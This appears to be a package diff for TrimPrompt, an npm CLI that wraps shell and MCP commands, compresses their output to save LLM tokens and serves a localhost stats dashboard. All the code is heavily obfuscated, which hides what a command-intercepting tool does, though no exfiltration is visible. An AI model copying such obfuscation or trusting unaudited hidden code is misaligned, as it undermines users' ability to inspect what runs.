_0x4bc8db=a0_0x5f43;if(_0xb9b35e&&_0xb9b35e['__esModule'])return _0xb9b35e;var _0x4e300c={};if(_0xb9b35e!=null){for(var _0x44d40b=_0x23861b(_0xb9b35e),_0x4a376c=0x0;_0x4a376c<_0x44d40b[_0x4bc8db(0x153)];_0x4a376c++)if(_0x44d40b[_0x4a376c]!==_0x4bc8db(0x16a))__createBinding(_0x4e300c,_0xb9b35e,_0x44d40b[_0x4a376c]);}return __setModuleDefault(_0x4e300c,_0xb9b35e),_0x4e300c;};}());Object[a0_0x3b4f82(0x16c)](exports,a0_0x3b4f82(0x161),{'value':!![]});function a0_0x5f43(_0x5c6790,_0x58b60e){_0x5c6790=_0x5c6790-0x139;const _0x5a09c7=a0_0x5a09();let _0x5f43e4=_0x5a09c7[_0x5c6790];return _0x5f43e4;}const commander_1=require(a0_0x3b4f82(0x152)),executor_1=require(a0_0x3b4f82(0x1be)),filters_1=require(a0_0x3b4f82(0x167)),tracker_1=require('./tracker'),shims_1=require(a0_0x3b4f82(0x1b7)),dashboard_1=require(a0_0x3b4f82(0x162)),program=new commander_1[(a0_0x3b4f82(0x19d))]();function isDisabled(){return process.env.TRIMPROMPT_DISABLED==='1';}function adjustCommandArgs(_0x2ca222,_0x329bcc){const _0x4165a2=a0_0x3b4f82,_0x304be7=_0x2ca222['toLowerCase']();if(_0x304be7===_0x4165a2(0x14b)||_0x304be7===_0x4165a2(0x1c6)){const _0x35284d=_0x329bcc[0x0];if(_0x35284d===_0x4165a2(0x188)){const _0xfc01c7=_0x329bcc['slice'](0x1),_0x2b87d3=_0xfc01c7[_0x4165a2(0x153)]===0x0||_0xfc01c7[_0x4165a2(0x1cf)](_0x477da4=>{const _0x12f248=_0x4165a2;return _0x477da4==='-b'||_0x477da4===_0x12f248(0x19a)||_0x477da4===_0x12f248(0x1b8)||_0x477da4===_0x12f248(0x1b0)||_0x477da4==='-s'||_0x477da4==='--short';});if(_0x2b87d3)return{'cmd':_0x2ca222,'args':['status',_0x4165a2(0x179),'-b']};}else{if(_0x35284d==='log'){const _0x4005bb=_0x329bcc[_0x4165a2(0x189)](0x1),_0x3fc825=_0x4005bb['some'](_0x3bd86b=>_0x3bd86b[_0x4165a2(0x151)](_0x4165a2(0x180))||_0x3bd86b['startsWith']('--pretty')||_0x3bd86b[_0x4165a2(0x151)](_0x4165a2(0x1bc))),_0x7caf33=_0x4005bb[_0x4165a2(0x1a1)](_0x21eec3=>_0x21eec3[_0x4165a2(0x151)]('-')&&/^\d+$/[_0x4165a2(0x159)](_0x21eec3[_0x4165a2(0x189)](0x1))||_0x21eec3==='-n'||_0x21eec3[_0x4165a2(0x151)](_0x4165a2(0x13c))),_0x56d583=[..._0x329bcc];if(!_0x3fc825){const _0x55c033=_0x4165a2(0x14f);_0x56d583['push'](process[_0x4165a2(0x1aa)]==='win32'?'\x22'+_0x55c033+'\x22':_0x55c033);}!_0x7caf33&&(_0x3fc825?_0x56d583[_0x4165a2(0x17f)]('-50'):_0x56d583[_0x4165a2(0x17f)](_0x4165a2(0x184)));const _0xaf829e=_0x4005bb[_0x4165a2(0x1a1)](_0x575eaf=>_0x575eaf===_0x4165a2(0x1bd)||_0x575eaf===_0x4165a2(0x170)||_0x575eaf[_0x4165a2(0x151)](_0x4165a2(0x1a3)));return!_0xaf829e&&!_0x7caf33&&_0x56d583[_0x4165a2(0x17f)](_0x4165a2(0x170)),{'cmd':_0x2ca222,'args':_0x56d583};}}}return{'cmd':_0x2ca222,'args':_0x329bcc};}function isMcpServerExecution(_0x444877,_0x174b33){const _0x1e280d=a0_0x3b4f82,_0x1247c1=_0x444877[_0x1e280d(0x166)](),_0x261ef2=_0x174b33['join']('\x20')['toLowerCase']();if(_0x1247c1[_0x1e280d(0x175)](_0x1e280d(0x19e))&&(_0x1247c1[_0x1e280d(0x175)](_0x1e280d(0x15b))||_0x1247c1[_0x1e280d(0x175)]('proxy')))return!![];if(_0x1247c1===_0x1e280d(0x177)||_0x1247c1===_0x1e280d(0x1bf)||_0x1247c1==='bun'||_0x1247c1===_0x1e280d(0x17e)||_0x1247c1===_0x1e280d(0x15e)||_0x1247c1==='yarn'){if(_0x261ef2[_0x1e280d(0x175)](_0x1e280d(0x1ca))||_0x261ef2[_0x1e280d(0x175)](_0x1e280d(0x141))||_0x261ef2[_0x1e280d(0x175)]('mcp-server')||_0x261ef2[_0x1e280d(0x175)](_0x1e280d(0x198)))return!![];}if(_0x174b33[_0x1e280d(0x1a1)](_0x3c7f6a=>{const _0x35de89=_0x1e280d,_0x310f95=_0x3c7f6a[_0x35de89(0x166)]();return _0x310f95['includes'](_0x35de89(0x13d))||_0x310f95['includes'](_0x35de89(0x198))||_0x310f95['includes'](_0x35de89(0x1ca))||_0x310f95===_0x35de89(0x160)||_0x310f95===_0x35de89(0x19e);}))return!![];return![];}async function runProxy(_0x47e450){const _0x26b152=a0_0x3b4f82;if(_0x47e450[_0x26b152(0x153)]===0x0){program[_0x26b152(0x1a6)]();return;}const _0x29fb17=_0x47e450[0x0],_0x42f9f4=_0x47e450['slice'](0x1),_0x51ca6d=_0x47e450['join']('\x20');if(isDisabled()){const _0x159d2d=await(0x0,executor_1[_0x26b152(0x1bb)])(_0x29fb17,_0x42f9f4);process[_0x26b152(0x148)][_0x26b152(0x19b)](_0x159d2d[_0x26b152(0x148)]),process[_0x26b152(0x181)][_0x26b152(0x19b)](_0x159d2d[_0x26b152(0x181)]),process[_0x26b152(0x18b)](_0x159d2d[_0x26b152(0x13b)]);}if(isMcpServerExecution(_0x29fb17,_0x42f9f4)){console[_0x26b152(0x1b5)](_0x26b152(0x18c));const {runMcpProxy:_0x16e57b}=await Promise[_0x26b152(0x16b)]()[_0x26b152(0x1a2)](()=>__importStar(require(_0x26b152(0x144))));_0x16e57b(_0x29fb17,_0x42f9f4);return;}const _0xddc2d4=adjustCommandArgs(_0x29fb17,_0x42f9f4),_0x97edcf=await(0x0,executor_1[_0x26b152(0x1bb)])(_0xddc2d4[_0x26b152(0x14a)],_0xddc2d4[_0x26b152(0x1b4)]),_0x418f18=(0x0,filters_1['compressOutput'])(_0x51ca6d,_0x97edcf[_0x26b152(0x148)],_0x97edcf['stderr'],tracker_1[_0x26b152(0x1b6)][_0x26b152(0x15f)]()[_0x26b152(0x193)]),_0x15ed09=_0x97edcf[_0x26b152(0x148)]+(_0x97edcf['stderr'][_0x26b152(0x1b1)]()[_0x26b152(0x153)]>0x0?'\x0a'+_0x97edcf['stderr']:'');tracker_1[_0x26b152(0x1b6)][_0x26b152(0x171)](_0x51ca6d,_0x15ed09,_0x418f18,_0x97edcf[_0x26b152(0x13b)]),_0x97edcf[_0x26b152(0x13b)]===0x0?process[_0x26b152(0x148)][_0x26b152(0x19b)](_0x418f18+'\x0a'):(process[_0x26b152(0x148)][_0x26b152(0x19b)](_0x418f18+'\x0a'),_0x97edcf['stderr'][_0x26b152(0x1b1)]()['length']>0x0&&!_0x418f18['includes'](_0x97edcf[_0x26b152(0x181)][_0x26b152(0x1b1)]())&&process[_0x26b152(0x181)][_0x26b152(0x19b)](_0x97edcf[_0x26b152(0x181)]+'\x0a')),process['exit'](_0x97edcf[_0x26b152(0x13b)]);}program[a0_0x3b4f82(0x1b3)]('trim')['description'](a0_0x3b4f82(0x146))[a0_0x3b4f82(0x14d)]('1.0.0'),program['command']('ui')[a0_0x3b4f82(0x18e)](a0_0x3b4f82(0x1c5))['description'](a0_0x3b4f82(0x187))[a0_0x3b4f82(0x199)](a0_0x3b4f82(0x1c4),a0_0x3b4f82(0x192),a0_0x3b4f82(0x18a))[a0_0x3b4f82(0x1ac)](_0x5c8e63=>{const _0x1c228f=parseInt(_0x5c8e63['port'],0xa);(0x0,dashboard_1['startDashboard'])(_0x1c228f);}),program[a0_0x3b4f82(0x1c2)](a0_0x3b4f82(0x1c7))[a0_0x3b4f82(0x1ba)]('Show\x20token\x20and\x20cost\x20savings\x20summary')[a0_0x3b4f82(0x199)](a0_0x3b4f82(0x1a5),a0_0x3b4f82(0x163),'claude-3-5-sonnet')[a0_0x3b4f82(0x1ac)](_0xb72147=>{const _0x137bd0=a0_0x3b4f82,_0xa1f899=tracker_1[_0x137bd0(0x1b6)]['getStatsSummary'](_0xb72147['model']);console[_0x137bd0(0x1c0)](_0x137bd0(0x172)),console[_0x137bd0(0x1c0)]('\x20\x20\x20\x20\x20\x20\x20TRIMPROMPT.AI\x20SAVINGS\x20SUMMARY\x20\x20\x20\x20\x20\x20\x20\x20'),console['log']('============================================='),console[_0x137bd0(0x1c0)](_0x137bd0(0x1b2)+_0xa1f899[_0x137bd0(0x145)]),console[_0x137bd0(0x1c0)](_0x137bd0(0x1cb)+_0xa1f899[_0x137bd0(0x13a)]['toLocaleString']()),console[_0x137bd0(0x1c0)]('Compressed:\x20\x20\x20\x20\x20\x20\x20\x20'+_0xa1f899[_0x137bd0(0x17a)]['toLocaleString']()),console['log'](_0x137bd0(0x1ce)+_0xa1f899[_0x137bd0(0x174)][_0x137bd0(0x157)]()),console['log'](_0x137bd0(0x1a8)+_0xa1f899[_0x137bd0(0x17c)]+'%'),console[_0x137bd0(0x1c0)]('Estimated\x20Cost:\x20\x20\x20\x20$'+_0xa1f899[_0x137bd0(0x1ae)]['toFixed'](0x4)+_0x137bd0(0x1cc)),console[_0x137bd0(0x1c0)](_0x137bd0(0x15d)+_0xa1f899['compressed_cost_usd'][_0x137bd0(0x155)](0x4)+_0x137bd0(0x1a0)),console[_0x137bd0(0x1c0)](_0x137bd0(0x196)),console[_0x137bd0(0x1c0)](_0x137bd0(0x1ab)+_0xa1f899['money_saved_usd'][_0x137bd0(0x155)](0x4)+_0x137bd0(0x14c)),console[_0x137bd0(0x1c0)](_0x137bd0(0x182));}),program[a0_0x3b4f82(0x1c2)](a0_0x3b4f82(0x176))[a0_0x3b4f82(0x1ba)](a0_0x3b4f82(0x183))[a0_0x3b4f82(0x142)]('<action>',a0_0x3b4f82(0x149))[a0_0x3b4f82(0x142)]('<key>',a0_0x3b4f82(0x19f))[a0_0x3b4f82(0x142)](a0_0x3b4f82(0x16d),a0_0x3b4f82(0x1cd))[a0_0x3b4f82(0x1ac)]((_0x9331e0,_0x31458b,_0x36b9a8)=>{const _0x4aebcf=a0_0x3b4f82;if(_0x9331e0===_0x4aebcf(0x18f)){const _0x525131=tracker_1[_0x4aebcf(0x1b6)]['getConfig']();console[_0x4aebcf(0x1c0)](_0x31458b+':\x20'+_0x525131[_0x31458b]);}else{if(_0x9331e0==='set'){_0x36b9a8===undefined&&(console[_0x4aebcf(0x1b5)](_0x4aebcf(0x150)),process['exit'](0x1));let _0x528f8c=_0x36b9a8;if(_0x36b9a8===_0x4aebcf(0x154))_0x528f8c=!![];if(_0x36b9a8===_0x4aebcf(0x16e))_0x528f8c=![];if(/^\d+$/[_0x4aebcf(0x159)](_0x36b9a8))_0x528f8c=parseInt(_0x36b9a8,0xa);tracker_1['tracker'][_0x4aebcf(0x14e)](_0x31458b,_0x528f8c),console[_0x4aebcf(0x1c0)](_0x4aebcf(0x1c1)+_0x31458b+'\x20=\x20'+_0x36b9a8);}else console[_0x4aebcf(0x1b5)](_0x4aebcf(0x185)),process[_0x4aebcf(0x18b)](0x1);}}),program['command']('shims')[a0_0x3b4f82(0x1ba)](a0_0x3b4f82(0x186))[a0_0x3b4f82(0x142)](a0_0x3b4f82(0x1af),'install\x20or\x20uninstall')[a0_0x3b4f82(0x1ac)](_0x2a4bbb=>{const _0xcc6b77=a0_0x3b4f82;if(_0x2a4bbb===_0xcc6b77(0x143)){const _0x39a830=(0x0,shims_1[_0xcc6b77(0x173)])();console[_0xcc6b77(0x1c0)](_0x39a830['message']);}else{if(_0x2a4bbb==='uninstall'){const _0x3d9a2e=(0x0,shims_1['uninstallShims'])();console['log'](_0x3d9a2e[_0xcc6b77(0x178)]);}else console[_0xcc6b77(0x1b5)]('Error:\x20Action\x20must\x20be\x20install\x20or\x20uninstall'),process[_0xcc6b77(0x18b)](0x1);}}),program['command'](a0_0x3b4f82(0x13e))[a0_0x3b4f82(0x1ba)](a0_0x3b4f82(0x17b))['argument'](a0_0x3b4f82(0x16f),a0_0x3b4f82(0x147))[a0_0x3b4f82(0x1ac)](_0x19a3c5=>{const _0x14d711=a0_0x3b4f82;if(isDisabled()){console[_0x14d711(0x1c0)](_0x19a3c5);return;}const _0x347828=(0x0,filters_1['rewriteCommand'])(_0x19a3c5);console[_0x14d711(0x1c0)](_0x347828);}),program[a0_0x3b4f82(0x1c2)](a0_0x3b4f82(0x160))[a0_0x3b4f82(0x18e)](a0_0x3b4f82(0x19e))['description'](a0_0x3b4f82(0x17d))[a0_0x3b4f82(0x142)]('<server-command>','Command\x20to\x20launch\x20the\x20target\x20MCP\x20server')[a0_0x3b4f82(0x142)](a0_0x3b4f82(0x140),'Arguments\x20for\x20the\x20target\x20MCP\x20server')[a0_0x3b4f82(0x1ac)](async(_0x316d37,_0x2913d3)=>{const _0x11e964=a0_0x3b4f82,{runMcpProxy:_0x5e849f}=await Promise[_0x11e964(0x16b)]()[_0x11e964(0x1a2)](()=>__importStar(require('./mcp')));_0x5e849f(_0x316d37,_0x2913d3);});const args=process[a0_0x3b4f82(0x164)][a0_0x3b4f82(0x189)](0x2),firstArg=args[0x0],subcommands=['ui',a0_0x3b4f82(0x1c5),'stats',a0_0x3b4f82(0x176),'shims',a0_0x3b4f82(0x13e),'mcp-proxy','mcp',a0_0x3b4f82(0x1a6),'--help','-h',a0_0x3b4f82(0x14d),a0_0x3b4f82(0x169),'-v'];firstArg&&!subcommands['includes'](firstArg)?runProxy(args)[a0_0x3b4f82(0x1a7)](_0x4f0212=>{const _0x36ffcb=a0_0x3b4f82;console['error'](_0x36ffcb(0x15a)+_0x4f0212['message']),process[_0x36ffcb(0x18b)](0x1);}):program[a0_0x3b4f82(0x194)](process[a0_0x3b4f82(0x164)]);
package/dashboard.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x33c126=a0_0x16b9;function a0_0x5b3f(){const _0x4b4cd1=['.raw.txt','get','9608ZkuXjc','writable','startDashboard','join','logs','138wFIbbJ','111856Qtfaoo','__setModuleDefault','http://localhost:','log','20aoXPUa','json','.trimprompt','getStatsSummary','5164650blJjvo','error','__importDefault','sendFile','EADDRINUSE','code','/api/stats/summary','Compressed\x20output\x20log\x20file\x20not\x20found.','index.html','query','getLogs','Raw\x20output\x20log\x20file\x20not\x20found.','readFileSync','25731ZZUVrE','model','1000970MiOnWg','default','/api/stats/history','tracker','931818esSWoE','.comp.txt','../src/index.html','__esModule','existsSync','create','490420FgGtPz','homedir','auto','77KqmLXU','params','message','hasOwnProperty','listen','3437VduRWX','__createBinding','catch','defineProperty','length','open','utf8','__importStar','\x0a[TrimPrompt]\x20Dashboard\x20server\x20started\x20at:\x20','./tracker','call','path'];a0_0x5b3f=function(){return _0x4b4cd1;};return a0_0x5b3f();}(function(_0x1e74bb,_0x596755){const _0x536d7a=a0_0x16b9,_0x2b3664=_0x1e74bb();while(!![]){try{const _0x5ec5fc=-parseInt(_0x536d7a(0x8c))/0x1+-parseInt(_0x536d7a(0x8b))/0x2*(parseInt(_0x536d7a(0xa1))/0x3)+-parseInt(_0x536d7a(0x70))/0x4+-parseInt(_0x536d7a(0x90))/0x5*(parseInt(_0x536d7a(0xa7))/0x6)+parseInt(_0x536d7a(0x78))/0x7*(parseInt(_0x536d7a(0x86))/0x8)+parseInt(_0x536d7a(0x94))/0x9+-parseInt(_0x536d7a(0xa3))/0xa*(-parseInt(_0x536d7a(0x73))/0xb);if(_0x5ec5fc===_0x596755)break;else _0x2b3664['push'](_0x2b3664['shift']());}catch(_0x18d384){_0x2b3664['push'](_0x2b3664['shift']());}}}(a0_0x5b3f,0x65bde));var __createBinding=this&&this[a0_0x33c126(0x79)]||(Object[a0_0x33c126(0x6f)]?function(_0xb51a74,_0xd24e18,_0x1cd73d,_0x4cf5b0){const _0x301127=a0_0x33c126;if(_0x4cf5b0===undefined)_0x4cf5b0=_0x1cd73d;var _0x1da960=Object['getOwnPropertyDescriptor'](_0xd24e18,_0x1cd73d);(!_0x1da960||('get'in _0x1da960?!_0xd24e18['__esModule']:_0x1da960[_0x301127(0x87)]||_0x1da960['configurable']))&&(_0x1da960={'enumerable':!![],'get':function(){return _0xd24e18[_0x1cd73d];}}),Object[_0x301127(0x7b)](_0xb51a74,_0x4cf5b0,_0x1da960);}:function(_0x35cd05,_0x203f3b,_0x3b1414,_0x50d318){if(_0x50d318===undefined)_0x50d318=_0x3b1414;_0x35cd05[_0x50d318]=_0x203f3b[_0x3b1414];}),__setModuleDefault=this&&this[a0_0x33c126(0x8d)]||(Object[a0_0x33c126(0x6f)]?function(_0x355219,_0x2dda69){const _0x21703c=a0_0x33c126;Object[_0x21703c(0x7b)](_0x355219,'default',{'enumerable':!![],'value':_0x2dda69});}:function(_0x32c060,_0x43cd63){const _0x1eda39=a0_0x33c126;_0x32c060[_0x1eda39(0xa4)]=_0x43cd63;}),__importStar=this&&this[a0_0x33c126(0x7f)]||(function(){var _0x5d61f8=function(_0x5ddbdd){return _0x5d61f8=Object['getOwnPropertyNames']||function(_0x94746c){const _0x42eab9=a0_0x16b9;var _0x11d33e=[];for(var _0xa69c94 in _0x94746c)if(Object['prototype'][_0x42eab9(0x76)][_0x42eab9(0x82)](_0x94746c,_0xa69c94))_0x11d33e[_0x11d33e[_0x42eab9(0x7c)]]=_0xa69c94;return _0x11d33e;},_0x5d61f8(_0x5ddbdd);};return function(_0x1abe63){const _0x18c9dd=a0_0x16b9;if(_0x1abe63&&_0x1abe63[_0x18c9dd(0x6d)])return _0x1abe63;var _0x3587bf={};if(_0x1abe63!=null){for(var _0x5f28e9=_0x5d61f8(_0x1abe63),_0x250f51=0x0;_0x250f51<_0x5f28e9['length'];_0x250f51++)if(_0x5f28e9[_0x250f51]!==_0x18c9dd(0xa4))__createBinding(_0x3587bf,_0x1abe63,_0x5f28e9[_0x250f51]);}return __setModuleDefault(_0x3587bf,_0x1abe63),_0x3587bf;};}()),__importDefault=this&&this[a0_0x33c126(0x96)]||function(_0x346a08){const _0x2cb645=a0_0x33c126;return _0x346a08&&_0x346a08[_0x2cb645(0x6d)]?_0x346a08:{'default':_0x346a08};};Object['defineProperty'](exports,a0_0x33c126(0x6d),{'value':!![]}),exports[a0_0x33c126(0x88)]=startDashboard;const express_1=__importDefault(require('express')),path=__importStar(require(a0_0x33c126(0x83))),fs=__importStar(require('fs')),os=__importStar(require('os')),open_1=__importDefault(require(a0_0x33c126(0x7d))),tracker_1=require(a0_0x33c126(0x81)),app=(0x0,express_1[a0_0x33c126(0xa4)])(),baseDir=path[a0_0x33c126(0x89)](os[a0_0x33c126(0x71)](),a0_0x33c126(0x92)),logsDir=path[a0_0x33c126(0x89)](baseDir,a0_0x33c126(0x8a));function a0_0x16b9(_0x17442a,_0x3476da){_0x17442a=_0x17442a-0x6d;const _0x5b3fc0=a0_0x5b3f();let _0x16b99c=_0x5b3fc0[_0x17442a];return _0x16b99c;}app['get']('/',(_0x5cde77,_0x30214b)=>{const _0x4178c5=a0_0x33c126,_0x339042=path[_0x4178c5(0x89)](__dirname,_0x4178c5(0x9c));fs[_0x4178c5(0x6e)](_0x339042)?_0x30214b[_0x4178c5(0x97)](_0x339042):_0x30214b[_0x4178c5(0x97)](path[_0x4178c5(0x89)](__dirname,_0x4178c5(0xa9)));}),app[a0_0x33c126(0x85)](a0_0x33c126(0x9a),(_0xe53738,_0xc85248)=>{const _0x3e98d8=a0_0x33c126,_0xee66a5=_0xe53738[_0x3e98d8(0x9d)][_0x3e98d8(0xa2)]||_0x3e98d8(0x72),_0x3fd30e=tracker_1['tracker'][_0x3e98d8(0x93)](_0xee66a5);_0xc85248[_0x3e98d8(0x91)](_0x3fd30e);}),app[a0_0x33c126(0x85)](a0_0x33c126(0xa5),(_0x210970,_0x39d3fd)=>{const _0x2f7c62=a0_0x33c126,_0x2f6988=tracker_1[_0x2f7c62(0xa6)][_0x2f7c62(0x9e)]();_0x39d3fd[_0x2f7c62(0x91)](_0x2f6988);}),app[a0_0x33c126(0x85)]('/api/stats/inspect/:id',(_0x1654e6,_0x2785fb)=>{const _0x584b69=a0_0x33c126,_0x340295=_0x1654e6[_0x584b69(0x74)]['id'],_0x37ce84=path[_0x584b69(0x89)](logsDir,_0x340295+_0x584b69(0x84)),_0x30299b=path['join'](logsDir,_0x340295+_0x584b69(0xa8));let _0xa10f6f=_0x584b69(0x9f),_0x2ed1e9=_0x584b69(0x9b);try{fs[_0x584b69(0x6e)](_0x37ce84)&&(_0xa10f6f=fs[_0x584b69(0xa0)](_0x37ce84,_0x584b69(0x7e))),fs[_0x584b69(0x6e)](_0x30299b)&&(_0x2ed1e9=fs['readFileSync'](_0x30299b,_0x584b69(0x7e)));}catch(_0x473dde){}_0x2785fb[_0x584b69(0x91)]({'id':_0x340295,'raw':_0xa10f6f,'compressed':_0x2ed1e9});});function startDashboard(_0xd3656e=0xfa0){const _0x59758d=a0_0x33c126;let _0x56033d=_0xd3656e;const _0x44b834=app[_0x59758d(0x77)](_0x56033d,()=>{const _0x2e2194=_0x59758d,_0x1d680f=_0x2e2194(0x8e)+_0x56033d;console[_0x2e2194(0x8f)](_0x2e2194(0x80)+_0x1d680f),console[_0x2e2194(0x8f)]('Press\x20Ctrl+C\x20in\x20this\x20terminal\x20to\x20shut\x20down.'),(0x0,open_1[_0x2e2194(0xa4)])(_0x1d680f)[_0x2e2194(0x7a)](()=>{});});_0x44b834['on'](_0x59758d(0x95),_0xb1c6e5=>{const _0x25992b=_0x59758d;_0xb1c6e5[_0x25992b(0x99)]===_0x25992b(0x98)?startDashboard(_0x56033d+0x1):console['error']('[TrimPrompt]\x20Dashboard\x20error:\x20'+_0xb1c6e5[_0x25992b(0x75)]);});}
1
+ 'use strict';const a0_0x1cb5ad=a0_0x30f2;(function(_0x417286,_0x1e1ab3){const _0x49fae4=a0_0x30f2,_0x3a0b90=_0x417286();while(!![]){try{const _0xa97d48=parseInt(_0x49fae4(0x156))/0x1*(parseInt(_0x49fae4(0x150))/0x2)+-parseInt(_0x49fae4(0x17e))/0x3+parseInt(_0x49fae4(0x161))/0x4+parseInt(_0x49fae4(0x164))/0x5+-parseInt(_0x49fae4(0x169))/0x6*(parseInt(_0x49fae4(0x179))/0x7)+-parseInt(_0x49fae4(0x184))/0x8*(-parseInt(_0x49fae4(0x15b))/0x9)+-parseInt(_0x49fae4(0x178))/0xa*(parseInt(_0x49fae4(0x166))/0xb);if(_0xa97d48===_0x1e1ab3)break;else _0x3a0b90['push'](_0x3a0b90['shift']());}catch(_0x2b8e8f){_0x3a0b90['push'](_0x3a0b90['shift']());}}}(a0_0x25e3,0xe203b));var __createBinding=this&&this['__createBinding']||(Object[a0_0x1cb5ad(0x185)]?function(_0x44e33f,_0x251b6a,_0x1da58b,_0x4a5acd){const _0x7a84=a0_0x1cb5ad;if(_0x4a5acd===undefined)_0x4a5acd=_0x1da58b;var _0x2f5bcc=Object[_0x7a84(0x163)](_0x251b6a,_0x1da58b);(!_0x2f5bcc||(_0x7a84(0x17f)in _0x2f5bcc?!_0x251b6a['__esModule']:_0x2f5bcc[_0x7a84(0x181)]||_0x2f5bcc['configurable']))&&(_0x2f5bcc={'enumerable':!![],'get':function(){return _0x251b6a[_0x1da58b];}}),Object[_0x7a84(0x174)](_0x44e33f,_0x4a5acd,_0x2f5bcc);}:function(_0x3eeeb4,_0x28d58b,_0x1e5ae8,_0x41fb22){if(_0x41fb22===undefined)_0x41fb22=_0x1e5ae8;_0x3eeeb4[_0x41fb22]=_0x28d58b[_0x1e5ae8];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object['create']?function(_0x5554aa,_0x5d5e47){const _0x12c122=a0_0x1cb5ad;Object['defineProperty'](_0x5554aa,_0x12c122(0x16b),{'enumerable':!![],'value':_0x5d5e47});}:function(_0x52b3aa,_0x4a032e){_0x52b3aa['default']=_0x4a032e;}),__importStar=this&&this[a0_0x1cb5ad(0x15d)]||(function(){var _0x351513=function(_0x547845){const _0x2c461b=a0_0x30f2;return _0x351513=Object[_0x2c461b(0x160)]||function(_0x48f73b){const _0x1ee5e5=_0x2c461b;var _0x12109f=[];for(var _0x21d50a in _0x48f73b)if(Object[_0x1ee5e5(0x153)]['hasOwnProperty'][_0x1ee5e5(0x15a)](_0x48f73b,_0x21d50a))_0x12109f[_0x12109f[_0x1ee5e5(0x176)]]=_0x21d50a;return _0x12109f;},_0x351513(_0x547845);};return function(_0x10d0ec){const _0x5aedda=a0_0x30f2;if(_0x10d0ec&&_0x10d0ec['__esModule'])return _0x10d0ec;var _0x1c01da={};if(_0x10d0ec!=null){for(var _0x246a8a=_0x351513(_0x10d0ec),_0x4cafb3=0x0;_0x4cafb3<_0x246a8a[_0x5aedda(0x176)];_0x4cafb3++)if(_0x246a8a[_0x4cafb3]!=='default')__createBinding(_0x1c01da,_0x10d0ec,_0x246a8a[_0x4cafb3]);}return __setModuleDefault(_0x1c01da,_0x10d0ec),_0x1c01da;};}()),__importDefault=this&&this[a0_0x1cb5ad(0x162)]||function(_0x4c1fc2){return _0x4c1fc2&&_0x4c1fc2['__esModule']?_0x4c1fc2:{'default':_0x4c1fc2};};Object[a0_0x1cb5ad(0x174)](exports,'__esModule',{'value':!![]}),exports[a0_0x1cb5ad(0x15c)]=startDashboard;function a0_0x25e3(){const _0x3631d8=['getOwnPropertyNames','2133280aSDsrp','__importDefault','getOwnPropertyDescriptor','7224605IdPpKz','.raw.txt','3319646YediMp','log','join','5874186IlGMBi','.comp.txt','default','../src/index.html','readFileSync','\x0a[TrimPrompt]\x20Dashboard\x20server\x20started\x20at:\x20','message','homedir','query','open','error','defineProperty','json','length','model','30rCodqb','7ecjSaQ','express','./tracker','/api/stats/history','Raw\x20output\x20log\x20file\x20not\x20found.','2299341RYVHYK','get','/api/stats/summary','writable','sendFile','logs','3726312TjhuNg','create','401966AeVeJw','existsSync','.trimprompt','prototype','path','[TrimPrompt]\x20Dashboard\x20error:\x20','1nyqCTt','params','code','tracker','call','27LonWPa','startDashboard','__importStar','listen','/api/stats/inspect/:id'];a0_0x25e3=function(){return _0x3631d8;};return a0_0x25e3();}const express_1=__importDefault(require(a0_0x1cb5ad(0x17a))),path=__importStar(require(a0_0x1cb5ad(0x154))),fs=__importStar(require('fs')),os=__importStar(require('os')),open_1=__importDefault(require(a0_0x1cb5ad(0x172))),tracker_1=require(a0_0x1cb5ad(0x17b)),app=(0x0,express_1[a0_0x1cb5ad(0x16b)])(),baseDir=path[a0_0x1cb5ad(0x168)](os[a0_0x1cb5ad(0x170)](),a0_0x1cb5ad(0x152)),logsDir=path[a0_0x1cb5ad(0x168)](baseDir,a0_0x1cb5ad(0x183));function a0_0x30f2(_0xb947da,_0x5479d8){_0xb947da=_0xb947da-0x150;const _0x25e3a8=a0_0x25e3();let _0x30f20f=_0x25e3a8[_0xb947da];return _0x30f20f;}app[a0_0x1cb5ad(0x17f)]('/',(_0x4ba78d,_0x23660b)=>{const _0x364cd5=a0_0x1cb5ad,_0x2adb1=path['join'](__dirname,'index.html');fs['existsSync'](_0x2adb1)?_0x23660b['sendFile'](_0x2adb1):_0x23660b[_0x364cd5(0x182)](path[_0x364cd5(0x168)](__dirname,_0x364cd5(0x16c)));}),app['get'](a0_0x1cb5ad(0x180),(_0x199229,_0x3a40ae)=>{const _0x33e550=a0_0x1cb5ad,_0x8585a8=_0x199229[_0x33e550(0x171)][_0x33e550(0x177)]||'auto',_0x1f5680=tracker_1[_0x33e550(0x159)]['getStatsSummary'](_0x8585a8);_0x3a40ae[_0x33e550(0x175)](_0x1f5680);}),app[a0_0x1cb5ad(0x17f)](a0_0x1cb5ad(0x17c),(_0x44b8ce,_0x38e836)=>{const _0x36665d=a0_0x1cb5ad,_0x21bd20=tracker_1[_0x36665d(0x159)]['getLogs']();_0x38e836[_0x36665d(0x175)](_0x21bd20);}),app[a0_0x1cb5ad(0x17f)](a0_0x1cb5ad(0x15f),(_0x8f5861,_0x114ab2)=>{const _0x586bd1=a0_0x1cb5ad,_0x149f73=_0x8f5861[_0x586bd1(0x157)]['id'],_0x38da33=path['join'](logsDir,_0x149f73+_0x586bd1(0x165)),_0x34f5f2=path['join'](logsDir,_0x149f73+_0x586bd1(0x16a));let _0x1ab1ab=_0x586bd1(0x17d),_0x200a3d='Compressed\x20output\x20log\x20file\x20not\x20found.';try{fs[_0x586bd1(0x151)](_0x38da33)&&(_0x1ab1ab=fs['readFileSync'](_0x38da33,'utf8')),fs[_0x586bd1(0x151)](_0x34f5f2)&&(_0x200a3d=fs[_0x586bd1(0x16d)](_0x34f5f2,'utf8'));}catch(_0x4ccbd9){}_0x114ab2['json']({'id':_0x149f73,'raw':_0x1ab1ab,'compressed':_0x200a3d});});function startDashboard(_0x1ca9fb=0xfa0){const _0x338073=a0_0x1cb5ad;let _0x3da912=_0x1ca9fb;const _0x5f239c=app[_0x338073(0x15e)](_0x3da912,()=>{const _0xfef1ff=_0x338073,_0x149280='http://localhost:'+_0x3da912;console[_0xfef1ff(0x167)](_0xfef1ff(0x16e)+_0x149280),console[_0xfef1ff(0x167)]('Press\x20Ctrl+C\x20in\x20this\x20terminal\x20to\x20shut\x20down.'),(0x0,open_1['default'])(_0x149280)['catch'](()=>{});});_0x5f239c['on'](_0x338073(0x173),_0x37b786=>{const _0x450a5a=_0x338073;_0x37b786[_0x450a5a(0x158)]==='EADDRINUSE'?startDashboard(_0x3da912+0x1):console['error'](_0x450a5a(0x155)+_0x37b786[_0x450a5a(0x16f)]);});}
package/executor.js CHANGED
@@ -1 +1 @@
1
